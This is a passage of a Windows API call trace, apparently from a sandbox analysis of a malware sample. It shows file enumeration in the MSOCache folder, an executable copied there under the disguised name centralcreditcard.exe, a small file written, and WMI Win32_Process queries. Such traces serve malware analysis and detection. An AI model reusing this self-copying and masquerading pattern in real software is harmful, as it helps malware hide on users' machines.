lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfd7db0b0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfd9ca290, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfd9ca290, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9241F~1")) returned 1 [0079.888] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe85e950, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xff445750, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xff445750, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{96CBC~1")) returned 1 [0079.888] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf4d0cdd0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf94761d0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf94761d0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~2")) returned 1 [0079.888] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfce558b0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfd27ff30, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfd27ff30, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{932B0~1")) returned 1 [0079.888] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfbe6a590, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfbf02b10, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfbf02b10, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0090-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95728~1")) returned 1 [0079.888] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfaac7010, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfbdd2010, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfbdd2010, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~4")) returned 1 [0079.888] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfcd971d0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfce558b0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfce558b0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9F87F~1")) returned 1 [0079.888] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfbf02b10, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfbfe7350, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfbfe7350, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00C1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95576~1")) returned 1 [0079.889] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfbdf8170, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfbe6a590, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfbe6a590, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{952F0~1")) returned 1 [0079.889] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfd6f6870, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfd7b4f50, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfd7b4f50, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E2-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9343A~1")) returned 1 [0079.889] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf1f144f0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf4ce6c70, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf4ce6c70, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~1")) returned 1 [0079.889] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf949c330, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfa9703b0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfa9703b0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~3")) returned 1 [0079.889] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfd27ff30, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfd6f6870, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfd6f6870, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-012B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9DABD~1")) returned 1 [0079.889] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.889] FindClose (in: hFindFile=0x1bfbeb70 | out: hFindFile=0x1bfbeb70) returned 1 [0079.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0079.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0079.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0079.890] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0079.891] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfbdf8170, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfbe6a590, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfbe6a590, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbeb70 [0079.893] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfbdf8170, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfbe6a590, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfbe6a590, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.893] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde5a0190, ftCreationTime.dwHighDateTime=0x1d0cbc9, ftLastAccessTime.dwLowDateTime=0xde5a0190, ftLastAccessTime.dwHighDateTime=0x1d0cbc9, ftLastWriteTime.dwLowDateTime=0xfbe43c60, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x41ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.cab", cAlternateFileName="")) returned 1 [0079.893] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b4ff2c0, ftCreationTime.dwHighDateTime=0x1d0cbc5, ftLastAccessTime.dwLowDateTime=0x2b4ff2c0, ftLastAccessTime.dwHighDateTime=0x1d0cbc5, ftLastWriteTime.dwLowDateTime=0xfbe1cb60, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x17b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.msi", cAlternateFileName="")) returned 1 [0079.893] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb773620, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xeb773620, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xfbdf8170, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x463, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.xml", cAlternateFileName="")) returned 1 [0079.893] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b483ac0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x6b483ac0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xfbe68650, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0079.893] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b483ac0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x6b483ac0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xfbe68650, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0079.893] FindClose (in: hFindFile=0x1bfbeb70 | out: hFindFile=0x1bfbeb70) returned 1 [0079.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0079.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0079.896] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0079.896] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe", lpFilePart=0x0) returned 0x54 [0079.896] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\centralcreditcard.exe"), bFailIfExists=0) returned 1 [0080.078] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\da6ea209acf49b", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\da6ea209acf49b", lpFilePart=0x0) returned 0x4d [0080.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0080.078] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\da6ea209acf49b" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\da6ea209acf49b"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x370 [0080.079] GetFileType (hFile=0x370) returned 0x1 [0080.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0080.079] GetFileType (hFile=0x370) returned 0x1 [0080.079] WriteFile (in: hFile=0x370, lpBuffer=0x2ad0230*, nNumberOfBytesToWrite=0x1e6, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2ad0230*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x1e6, lpOverlapped=0x0) returned 1 [0080.081] CloseHandle (hObject=0x370) returned 1 [0080.083] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0080.083] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0080.083] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0080.083] IUnknown:Release (This=0x111f638) returned 0x1 [0080.085] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c021460) returned 0x0 [0080.086] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021460, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0080.086] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021460, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02e730) returned 0x0 [0080.086] WbemDefPath:IUnknown:Release (This=0x1c021460) returned 0x0 [0080.086] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02e730) returned 0x0 [0080.086] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0080.087] WbemDefPath:IUnknown:AddRef (This=0x1c02e730) returned 0x3 [0080.087] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0080.087] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0080.087] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c0214a0) returned 0x0 [0080.087] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0214a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.087] WbemDefPath:IUnknown:Release (This=0x1c0214a0) returned 0x3 [0080.087] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0080.087] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0080.087] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0080.087] WbemDefPath:IUnknown:Release (This=0x1c02e730) returned 0x2 [0080.087] WbemDefPath:IUnknown:Release (This=0x1c02e730) returned 0x1 [0080.087] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0080.087] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0080.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02e730) returned 0x0 [0080.088] WbemDefPath:IUnknown:AddRef (This=0x1c02e730) returned 0x3 [0080.088] WbemDefPath:IUnknown:Release (This=0x1c02e730) returned 0x2 [0080.088] WbemDefPath:IWbemPath:SetText (This=0x1c02e730, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0080.088] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e730, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0080.088] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e730, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0080.088] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e730, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0080.088] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02e730, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0080.088] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e730, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0080.088] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02e730, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0080.088] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0080.089] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0080.089] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0080.089] IUnknown:Release (This=0x111f638) returned 0x1 [0080.091] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c0214e0) returned 0x0 [0080.091] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0214e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0080.091] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0214e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02e7f0) returned 0x0 [0080.091] WbemDefPath:IUnknown:Release (This=0x1c0214e0) returned 0x0 [0080.091] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02e7f0) returned 0x0 [0080.091] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0080.092] WbemDefPath:IUnknown:AddRef (This=0x1c02e7f0) returned 0x3 [0080.092] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: 